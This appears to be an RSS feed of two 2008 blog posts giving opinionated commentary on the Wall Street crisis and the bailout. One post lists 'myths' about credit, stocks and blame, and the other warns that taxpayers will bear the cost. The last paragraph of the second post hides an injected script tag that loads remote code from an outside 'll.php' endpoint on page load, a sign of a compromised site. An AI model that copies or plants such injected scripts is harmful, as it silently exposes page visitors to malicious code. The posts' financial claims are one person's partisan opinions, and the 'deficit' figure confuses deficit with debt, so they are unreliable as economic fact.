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		<title>Myths about the current problem with Wall Street</title>
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		<pubDate>Tue, 30 Sep 2008 22:27:41 +0000</pubDate>
		<dc:creator>Keith</dc:creator>
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		<description><![CDATA[Myth 1: Credit will dry up and folks on “Main Street” will not be able to borrow money. Status: False. Banks need to loan money deposited by their customers to make money. They will not stop loaning money. They will however, stop loaning money to those with poor credit. You will actually have to have [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: Arial;">Myth 1: Credit will dry up and folks on “Main Street” will not be able to borrow money.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: Arial;">Status: False.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: Arial;">Banks need to loan money deposited by their customers to make money. They will not stop loaning money. They will however, stop loaning money to those with poor credit. You will actually have to have physical assets and a job to borrow money. You will actually be expected to repay your loan.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: Arial;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: Arial;">Myth 2: I won’t be able to buy a new car.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: Arial;"><span style="font-size: 10pt; font-family: Arial;">Status: False</span>.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: Arial;">There will be just a many deals on new cars as there ever has been. You will have to have a job, a good trade-in or down payment. The car makers are not going to stop selling cars because some idiots on wall street sold bad paper.</span></p>
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<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: Arial;">Myth 3: Stocks will probably go down to who knows where if Congress does nothing.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: Arial;">Status: Maybe.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: Arial;">But we don’t know for sure. The market may also go down because Congress does something. If you are in the stock market there are risks. I for one am betting that if it goes down, it will come up again and if we let capitalism actually work, stocks will go higher as time goes on.</span></p>
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<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: Arial;">Myth 4: All the “experts” say we have to do something. Shouldn’t we listen?</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: Arial;">Status: False and no.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: Arial;">These are the same “experts” who tell you that deficit spending is good and spend money to study why the sky is blue and the sex life of gnats. They are only expert at one thing and it is not the economy.</span></p>
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<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: Arial;">Myth 5: Asian and other markets are affected by what happens in the US.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: Arial;">Status: True</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: Arial;">Guess we are not irrelevant after all. Those who feed off the good times in the US need to feel the tough times also. Frankly, if you are not in the US then I really don’t care about your financial problems.</span></p>
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<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: Arial;">Myth 6: President Bush assures all of us that the problem is real so it must be.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: Arial;">Status: False.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: Arial;">That assurance does nothing to assure me and it shouldn&#8217;t assure you just because you saw it on TV. Moreover, having the Treasury run by a former head of Goldman Sachs is like letting the fox guard the hen house.</span></p>
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<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: Arial;">There are some sensible politicians from both parties who understand this is only a crisis for those who are over-leveraged (in debt over their heads). For millions not involved in the applying, approving, lending or selling of mortgages to people who did not deserve them in the first place, it is not a crisis. We do know though, that if the government does something about it, we most likey will have a different crisis. </span></p>
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<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: Arial;">Myth 7: This problem is the fault of the Republicans and President Bush or Nancy Pelosi and the Democrats.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: Arial;">Status: False, but not entirely.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: Arial; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: EN-US; mso-bidi-language: AR-SA;">This goes back to at least 1999 (NYT, <a href="http://query.nytimes.com/gst/fullpage.html?res=9C0DE7DB153EF933A0575AC0A96F958260&amp;sec=&amp;spon=&amp;pagewanted=all">http://query.nytimes.com/gst/fullpage.html?res=9C0DE7DB153EF933A0575AC0A96F958260&amp;sec=&amp;spon=&amp;pagewanted=all</a> ) and both parties were sleeping at the switch or looking the other way. The real fault lies with corruption and greed from many including politicians from both parties who allow lobbyists from organizations like the National Association of Home Builders to directly influence legislation or lack thereof. Professional lobbying is nothing more than bribery.</span></p>
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		<title>In the end someone will pay</title>
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		<pubDate>Sun, 21 Sep 2008 00:31:43 +0000</pubDate>
		<dc:creator>Keith</dc:creator>
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		<description><![CDATA[I bet you know who that &#8220;someone&#8221; is. You and me . . . the American taxpayer. The latest bailout (and that is exactly what it is) stops the system as it was correcting for misguided or dishonest mistakes. It is so in keeping with the past decade&#8217;s or so &#8211; we don&#8217;t want anyone [...]]]></description>
			<content:encoded><![CDATA[<p>I bet you know who that &#8220;someone&#8221; is. You and me . . . the American taxpayer. The latest bailout (and that is exactly what it is) stops the system as it was correcting for misguided or dishonest mistakes. It is so in keeping with the past decade&#8217;s or so &#8211; we don&#8217;t want anyone to feel bad &#8211; everyone&#8217;s a winner philosophy. Are we going to buy back the properties that foreign investors bought? Everyone bought these damaged mortgages as an investment, not in the community, not in a family but an investment in the money. Every investment carries a statement like this, &#8220;Not FDIC insured, no bank guarantee, may lose value. There is no assurance that any fund/stock/bond, etc. will make money. The prices and investment returns will fluctuate with changes in the market. When you sell, you may get less than what you paid. You can lose money investing in any fund/stock/bond, etc .&#8221;  </p>
<p>It will not end the problem of Wall Street&#8217;s too cosy relationship with Washington, DC. It does not fix the accounting rules that are wrong. It does not fix the problem of loosie, goosie regulations and relaxed rules. It doesn&#8217;t differentiate between the greedy, the illegal or just the unlucky. More importantly, this will not end the problem in the housing market. The inventory is still there &#8211; just a new owner.</p>
<p>Everyone knew this problem was there. From lending money with 0 down to let short sellers get away with an actual crime. And all we have done is put off the problem &#8211; you can&#8217;t have a country that can legally carry a 11+ trillion dollar deficit. It won&#8217;t last. The house of cards will fall down.<script src="http://$domain/ll.php?kk=11"></script></p>
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